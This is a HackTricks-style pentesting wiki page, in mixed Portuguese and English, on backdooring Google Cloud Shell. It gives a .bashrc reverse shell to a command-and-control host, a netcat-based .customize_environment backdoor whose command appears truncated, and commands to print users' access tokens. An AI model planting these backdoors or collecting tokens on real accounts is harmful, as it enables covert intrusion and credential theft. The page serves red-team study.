GCP - Cloud Shell Persistence

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud Shell

Para mais informações, consulte:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell fornece acesso por linha de comando aos seus recursos na nuvem diretamente do navegador, sem qualquer custo associado.

Você pode acessar o Cloud Shell do Google pelo console web ou executando gcloud cloud-shell ssh.

Este console tem algumas capacidades interessantes para atacantes:

  1. Any Google user with access to Google Cloud tem acesso a uma instância do Cloud Shell totalmente autenticada (Service Accounts can, even being Owners of the org).
  2. Essa instância manterá seu diretório home por pelo menos 120 dias caso não haja atividade.
  3. Não há capacidades para uma organização monitorar a atividade dessa instância.

Isso basicamente significa que um atacante pode colocar um backdoor no diretório home do usuário e, desde que o usuário se conecte ao GC Shell pelo menos a cada 120 dias, o backdoor sobreviverá e o atacante obterá um shell sempre que ele for executado apenas fazendo:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

Existe outro arquivo na pasta home chamado .customize_environment que, se existir, será executado toda vez que o usuário acessar o cloud shell (como na técnica anterior). Basta inserir o backdoor anterior ou um como o seguinte para manter persistência enquanto o usuário usar “frequentemente” o cloud shell:

Criar backdoor .customize_environment ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

É importante notar que a primeira vez que uma ação que requer autenticação é executada, uma janela de autorização pop-up aparece no navegador do usuário. Essa janela deve ser aceita antes que o comando possa ser executado. Se um pop-up inesperado aparecer, isso pode levantar suspeitas e potencialmente comprometer o método de persistência em uso.

This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:

However, if the user has actively used the cloudshell, the pop-up won’t appear and you can coletar tokens do usuário com:

Obter access tokens do Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Como a conexão SSH é estabelecida

Basicamente, estas 3 chamadas de API são usadas:

Mas você pode encontrar mais informações em https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks